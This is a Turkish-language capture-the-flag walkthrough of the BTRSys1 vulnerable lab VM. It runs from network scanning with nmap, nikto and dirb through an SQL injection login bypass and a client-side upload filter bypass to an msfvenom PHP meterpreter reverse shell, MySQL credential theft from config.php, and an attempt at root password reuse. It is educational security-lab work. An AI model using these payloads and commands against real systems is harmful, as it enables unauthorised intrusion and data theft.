BTRisk, geçtiğimiz hafta eğitim ve sınavlarında kullandıkları zafiyet içeren, başlangıç düzeyi makine imajını yayınladı. BTRSYS1 adını verdikleri imajın blog yazısına ve indirme bağlantısına buradan ulaşabilirsiniz.
Önce makinenin açıklamalarına bakalım:
Machine Name: BTRSys1
IP : DHCP
Difficulty : Beginner / Intermediate
Format : Virtual Machine (VMware)
Description : This is a boot2root machine particularly educational for beginners. Follow us for next BTRSys systems. We hope you enjoy it!
Bu bağlantıdan indirdiğimiz imaj dosyasının sıkıştırılmamış hali 837.5 MB. İmajı VirtualBox gibi bir sanal makine uygulamasına aktarıyor ve çalıştırıyorum.
İçe Aktarma
İndirdiğimiz sıkıştırılmış rar dosyasının içinden sanal makine dosyalarını çıkarıyoruz. Linux’ta sıkıştırılmış dosyanın olduğu dizine gidip;
unrar x -r BTRsys1.rar
komutu ile dosyaları çıkarabilirsiniz.
Çıkan dosyalardan .ovf uzantılı dosyaya çift tıklayarak sanal makine yöneticisi ile (VirtualBox/VMWare gibi) içe aktarıyoruz.
Import butonuna basarak içe aktarabiliriz. Ayrıca bu pencerede sistemimizin 32 bit Ubuntu temelli olduğunu görebiliyoruz, belki ipucu olabilir.
VirtualBox’ta sistemimizi başlattığımızda boş siyah bir login ekranı bizi karşılıyor.
Hadi başlayalım
İmajı incelemek için Kali dağıtımı ve araçlarını kullanacağım. Bu sebeple bir diğer sanal makinede Kali’yi başlatıyorum. Kali ile BTRSYS1 imajlarınnın aynı ağda olmasına dikkat edin. Mesela aynı NAT üzerinden IP alabilirler.
Kali IP adresimi ifconfig komutu ile öğreniyorum. Yerel ağda 10.0.0.5 IP adresini almış. Netmask 255.255.255.0, bu sebeple aynı ağ üzerinde çalışan makineler 10.0.0.0/24 bloğunda bulunacaktır.
Aynı ağdaki cihazları keşfetmek ARP taraması yapan Netdiscover aracını kullanabiliriz. netdiscover -r 10.0.0.0/24 komutu ile belirttiğimiz aralığı tarayabiliriz.
netdiscover makine isimlerini çözümleyemedi, ancak ağda 4 cihaz buldu. nmap ile bu cihazların portlarını tarayarak cihazımızın hangisi olduğunu ve neler yapabileceğimize bakalım.
nmap -Pn 10.0.0.0/24
FTP, SSH ve HTTP portlarının açık olması sebebiyle 10.0.0.4 IP adresini alan makine doğrudan göze batıyor zaten. nmap ile daha detaylı taramayla bir göz atalım. Versiyon taraması (-sV) ve işletim sistemi tespiti (-O) parametrelerini de ekleyerek cihazı tarıyorum.
nmap -Pn -sV -O 10.0.0.4
Burada dikkatimizi çeken şeyler:
- Açık portlar
- 21 portunda açık olan FTP yazılımı vsftpd 3.0.2 sürümü
- 22 portunda açık olan SSH yazılımı OpenSSH 6.6.1p1 sürümü
- 80 portunda açık olan HTTP yazılımı Apache 2.4.7 sürümü
- Linux 3.2 – 4.6 arası çekirdek sürümü
Şimdi sırayla portlara göz atalım.
HTTP
80. port açık olduğu için ilk aklıma gelen tarayıcıdan sunucuya bağlanmak, firefox’a 10.0.0.4
yazınca aşağıdaki anasayfa ile karşılaştık:
Burada elimizdeki tek ipucu sayfanın .php uzantısı. Hakkımızda sayfasına bakalım:
Hakkımızda sayfası karmaşık görünüyor. Karşımızda sızma testlerinin nasıl, hangi yönlemlerle anlatıldığı bir yazı bulduk. İçinde güvenlikle ilgili bir çok kelime geçiyor, dolayısıyla yararlı bir wordlist kaynağı olabilir.
Sayfalara baktığımızda sadece 2 sayfa bulabiliyoruz. nikto aracı ile sitede bağlantı verilmemiş dizinleri bulabiliriz. Bir deneyelim:
nikto -h 10.0.0.4
Nikto, login.php ve config.php adında iki sayfa buldu.
config.php boş bir sayfa döndürüyor. config.php.bak config.php.txt gibi sayfalar da denedim ama buradan bize ekmek yok.
login.php sayfasına girdiğimizde beklediğimiz gibi bizi bir giriş sayfası karşılıyor.
Sayfada herhangi bir bağlantı ipucu görünmüyor. Bir de kaynak koduna bakalım.
Sayfanın kaynak kodunda giriş kontrolünün tarayıcı üzerinde çalışan bi javascript script’i ile yapıldığını görüyoruz. Buna göre,
- eğer parola kısmına tek tırmak atarsanız (‘) ekrana “Hack denemesi” yazarak hata verecek. (hehe)
- eğer kullanıcı adı “
@btrisk.com
” ile bitmiyorsa, “Yanlış kullanıcı bilgisi denemektesiniz” hatası alıyoruz.
- bunların hiçbiri değilse, formumuz personel.php sayfasına POST methodu ile gönderiliyor. Sadece “
@btrisk.com
” yazarak da personel sayfasına erişebiliyoruz.
Açılan personel sayfası şu şekilde:
Sayfada herhangi bir bilgi göremiyoruz.
Sayfaya hiçbir POST verisi olmadan doğrudan bağlandığımızda ise şu hatayı alıyoruz:
personel.php dosyasının 67. satırında mysql sorgularını satırlara bölen mysqli_fetch_row() fonksiyonu mysql_result() fonksiyonundan en az 1 satır sonuç bekliyor. Ancak hiçbir POST verisi göndermediğimizde fonksiyona hiç veri gelmediği için php hatası alıyoruz. Buradan, web uygulamasında MySQL kullanıldığını ve bu gibi davranışların handle edilmediğini görüyoruz. Kullanıcı adı kısmına bir tırnak attığımız zaman gelen hatanın boolean sonuç döndüğü için olduğunu görüyoruz. Bu da yazdığımız tırnağın filtrelenmeden SQL sorgusuna gönderildiği hakkında ipucu veriyor.
SQL Injection 💉
Formdaki verinin
SELECT * FROM ‘tablo_adı’ WHERE user='<buraya_yazdığımız_bilgi>’
şeklinde bir SQL sorgusu ile karşılandığını tahmin etmek zor değil. Kullanıcı adı kısmına
‘ OR 1=1 — @btrisk.com
yazarak sorguyu tablodaki tüm verileri çekecek formata getirebiliriz. Çift tireden (–) sonra gelen kısım yorum olarak kabul edileceğinden, sorgumuz aşağıdaki gibi olacaktır.
SELECT * FROM tablo_adı WHERE user=” OR 1=1 — @btrisk.com
Karşımıza iki kaydın olduğu bir özlük sayfası açıldı:
File Upload 📁
Burada bir dosya yükleme modülü bulunuyor. Browse butonuna tıkladığımızda açılan pencerede jpg ve png dosyalarının kabul edildiğini görüyoruz. Masaüstündeki bir php dosyasını yüklemeye çalıştığımda aşağıdaki hatayı aldım.
Bu aşamada normal bir dosya yükleyerek dosyayı nerede tuttuğunu, işlenip işlenmediğini öğrenmeye çalışacağım. Masaüstündeki normal bir jpg dosyasını yüklüyorum.
Dosya yüklendi ancak bize dosya konumu ile ilgili hiçbir bilgi verilmedi. Nikto gibi bir başka klasör tarama aracı olan dirb kullanacağım. Terminale “dirb <hedef site adresi> komutunu yazarsanız dirb, kendi veritabanındaki kelimelerle basit tarama yapacaktır.
dirb http://10.0.0.4
/uploads adında bir klasör bulduk. Hemen bakıyorum:
Az önce yüklediğim jpg dosyası burada. Sayfanın kaynak dosyasına baktığımız zaman, yüklenen dosyanın uzantısının tarayıcı tarafında kontrol edildiğini görüyoruz.
Yani yerelde script kodunu değiştirerek başka bir dosya tipi gönderebiliriz. Burp Suite ile sunucudan tarayıcıya gelen kodda aşağıdaki değişiklikleri yapalım.
- getFile() fonksiyonunun içindeki sonuc == “jpg” kodunu sonuc == “php” olarak değiştirelim.
herhangi bir php dosyasını yüklemeye çalışalım.
Dosya yüklendi sayfasından sonra /uploads dizinini kontrol ettim.
Reverse Shell
Karşı tarafta kod çalıştırmama izin verecek bir php dosyasını buraya yükleyerek Apache tarafından çalıştırılmasını sağlamalıyım. msfvenom ile bir çok payload otomatik olarak hazırlanabiliyor. Bu aşamada msfvenom ile php reverse shell payload’ı hazırlayabilirim. “meterpreter_reverse_tcp” payload’ını kullanıyorum.
LHOST= <kendi IP adresimiz (kali) >
LPORT= <bağlantı yapacağımız portumuz>
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f raw > shell.php
Hazırladığımız dosya “shell.php” adıyla bulunduğumuz klasöre kaydedildi. Dosyayı yüklemeden önce yapmamız gereken, php dosyasını açıp başındaki yorum başlangıcını silmek (/* ifadesi)
Bir önceki sayfadan oluşturduğum shell.php dosyasını yüklüyorum. /uploads klasöründe dosyayı görüyoruz. Bu dosya, karşı taraftan bizim makinemize, belirttiğimiz porttan istek gönderecek. Dolayısıyla dosyayı çalıştırmadan önce yerel makinemizde bu isteği karşılamamız gerekiyor. Metasploit konsolunu açıyorum ayarları da aşağıdaki gibi yapıyorum.
msfconsole use exploit/multi/handler set payload php/meterpreter_reverse_tcp
show options komutu ile belirlememiz gereken ayarları görebilirsiniz. Yerel makinemizin (kali) IP’sini ve belirlediğimiz portu ayarlıyoruz:
set lhost 10.0.0.5 set lport 4444
run komutu ile portu dinlemeye başlayabiliriz.
yüklediğimiz dosya (shell.php) karşı sunucuda çalışmaya hazır. Tıklayarak dosyayı açtığımız gibi konsolda meterpreter> ifadesini göreceksiniz.
birkaç komut ile karşı makinede web sunucusu yetkileri ile çalıştığımızı görüyoruz.
MySQL Erişimi
html klasörüne göz atalım.
config.php’yi okuduğumuzda mysql bağlantı bilgileri verilmiş, aynı zamanda veritabanı adı da belirtilmiş.
Elde ettiğimiz bilgilerle terminalden MySQL e eriştim, biraz da kurcalayarak aşağıdaki kullanıcı bilgilerini elde ettim.
mysql -u root -p
komutu ile mysql servisine bağlanıyorum, şifremiz dosyadan okuduğumuz üzere toor
show databases;
use deneme;
show tables;
select * from users
Sitenin veritabanından kullanıcı adı ve bilgileri aldık. Burada veritabanındaki şifrelerin hash’lemeden clear-text olarak tutulduğunu da görüyoruz.
root@BTRsys1:/#
Veritabannında bulunan iki kullanıcının da şifresi aynıymış. Sistemdeki default şifrenin bu olabileceğini düşünerek, biraz da CTF sezgilerime dayanarak ( 😀 )bu şifreyi root şifresi olarak denemek istiyorum;
su root